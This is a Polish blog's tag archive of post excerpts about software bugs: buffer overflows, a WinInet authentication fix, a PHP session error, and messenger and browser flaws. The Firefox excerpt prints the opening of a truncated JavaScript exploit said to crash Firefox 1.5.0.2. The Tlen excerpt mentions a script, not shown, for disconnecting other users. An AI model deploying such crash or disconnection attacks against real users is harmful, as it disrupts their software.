#bugs

wszystkie notatki oznaczone etykietą "bugs"

Trudne przypadki: buffer overflow

Buffer overflow, czyli przepełnienie bufora jest jednym z najczęściej wykrywanych błędów w różnej maści oprogramowaniu. Błąd ten polega na zapisaniu do wyznaczonego obszaru pamięci większej ilości danych, niż zostało to przewidziane przez twórcę. Powoduje to nadpisanie sąsiadujących z buforem komórek pamięci, co w ostateczności prowadzi do różnych nieprzewidywanych zachowań aplikacji. W najlepszym wypadku spowoduje to “wywalenie” się całego programu, a w najgorszym umożliwi przejecie kontroli nad maszyną przez włamywacza, który odpowiednio wykorzysta zaistniałą sytuację.

Czytaj dalej

Basic Authentication w HttpSendRequestEx

Miałem dziwny problem z WinInet. Nie chciało mi działać poprawnie Basic Authentication przy wysyłaniu requesta przez HttpSendRequestEx. Mimo, iż przy łączeniu dane niezbędne do autoryzacji zostały podane w InternetConnect, w wysyłanych nagłówkach na darmo było szukać linii zaczynającej się od: Authorization: Basic ... Pozostało poszukać w sieci jakiegoś rozwiązania. Sam Microsoft proponuje rozwiązanie tego problemu w sposób opisany tutaj: How to use HttpSendRequestEx with password-protected URLs. Oczywiście w HttpSession dorzuciłem tylko HttpSendRequest do metody RequestPostMpfd i wszystko zaczęło działać.

Czytaj dalej

Problem z Neo na XP

Krótka historia i opis tego co mi się ostatnio przytrafiło, a jak się później dowiedziałem także wielu innym użytkownikom systemu Windows i Neostrady. Muszę przyznać, że nigdy nie miałem wielkich problemów z Neo. Rzadko (bardzo rzadko) zdarzały się jakieś zerwania połączeń i tym podobne sprawy… ale ogólnie wszystko działało poprawnie… aż do ostatniej soboty… Normalnie, jak to bywa na co dzień, po połączeniu z siecią zajmuję się swoimi sprawami. Aż tu nagle wszystkie aplikacje korzystające z sieci tracą połączenie.

Czytaj dalej

Dziwna zmienna sesyjna

Dziś trochę się namęczyłem szukając pewnego błędu w jednym z PHP-owych projektów… Błąd dość poważny, bo nie można było się zalogować do panelu administracyjnego użytkownika. I jeszcze dosyć nietypowy, bo na localhoście wszystko grało, działało i buczało, a na serwerze docelowym, po zalogowaniu przekierowywało dalej na formularz logowania :/ Analiza kilku plików projektu, jak i poprawianie różnych fragmentów kodu, nie przyniosły wymaganego rezultatu. Dopiero po czasie “męczarni” doszedłem do tego, że zmienna sesyjna przekazującą wartość id usera jest pusta.

Czytaj dalej

Groźny błąd w Firefoksie

Znaleziono groźny bug w tej “wspaniałej” przeglądarce. Pojawił się exploit wysypujący najnowszego Firefoksa (1.5.0.2) :) Na informacje o tym błędzie natknąłem się w notce Piotra Koniecznego. Przetestowałem i potwierdzam działanie exploita, a poniżej znajduje się ten magiczny kodzik wyprawiający cuda. <textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"> </textarea> <script> var textarea = document.getElementsByName("x_OtherInfo"); textarea=textarea.item(0); var htmlarea = document.createElement("div"); htmlarea.className = "htmlarea"; textarea.parentNode.insertBefore(htmlarea, textarea); var iframe = document.createElement("iframe"); htmlarea.appendChild(iframe); var doc = iframe.contentWindow.document; doc.

Czytaj dalej

Błędy w Tlenie

Znaleziono kolejny poważny błąd pozwalający na rozłączenie dowolnego użytkownika z serwerem Tlenu. Błąd ten działa tylko z oficjalnymi klientami Tlenu, Miranda sobie z nim jakoś radzi. Tak jak poprzednia dziura tego typu, błąd ten wykorzystuje znacznik XML wiadomości. Mianowicie wysłanie tagu wiadomości z załączonymi dodatkowymi odpowiednimi “śmieciami” szkodliwie wpływa na komunikator odbiorcy. Po prostu go na chwilę rozłącza z serwerem :P Tak sobie nad tym myśląc, dla zabawy napisałem prosty skrypcik.

Czytaj dalej